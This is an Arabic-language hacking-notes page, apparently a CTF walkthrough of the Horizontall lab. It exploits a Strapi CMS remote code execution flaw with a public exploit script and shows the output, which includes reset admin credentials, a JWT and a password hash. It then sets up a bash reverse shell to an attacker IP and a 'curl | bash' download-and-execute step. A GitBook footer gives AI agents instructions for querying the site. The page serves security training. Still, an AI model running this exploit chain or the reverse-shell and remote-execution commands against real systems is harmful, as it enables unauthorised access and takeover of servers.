> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/strapi-cms-exploitation.md).

# Strapi

### استغلال تنفيذ الأوامر عن بُعد (RCE) في Strapi CMS

ابحث عن ثغرة في Strapi باستخدام **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="/files/7e21c2863d9f7a0fd98134b7a92f285c6ff18fae" alt=""><figcaption></figcaption></figure>

نستخدم الاستغلال:

```bash
python3 50239.py http://api-prod.horet.horizontall.htb
```

<figure><img src="/files/0a9d6ce2f92e8ea018279abcbf05c350a6492945" alt=""><figcaption></figcaption></figure>

يوفّر ذلك بيانات اعتماد المدير.

{% code overflow="wrap" %}

```javascript
[+] بريدك الإلكتروني هو: admin@horizontall.htb
[+] بيانات الاعتماد الجديدة الخاصة بك هي: admin:SuperStrongPassword1 
[+] رمز JSON Web Token الموثق الخاص بك: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="/files/ef4918f536959158e54e1946f762d5338f124bcb" alt=""><figcaption></figcaption></figure>

استرجع تجزئة كلمة المرور للمستخدم الذي تم إنشاؤه حديثًا:

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="/files/5f42f388f0225d225232ef25b1133fdd1e978cdc" alt=""><figcaption></figcaption></figure>

### الحصول على غلاف عكسي

أنشئ **index.html** ملف يحتوي على حمولة غلاف عكسي:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

ابدأ خادم ويب:

```bash
python3 -m http.server 8080
```

افتح مستمعًا:

```bash
nc -nlvp 443
```

ثم نفّذ الحمولة على الهدف:

```bash
curl http://10.10.14.75:8080 | bash
```

<figure><img src="/files/a82531f96df1d15dbdfc03fd967fedc4b3e98f2d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/strapi-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
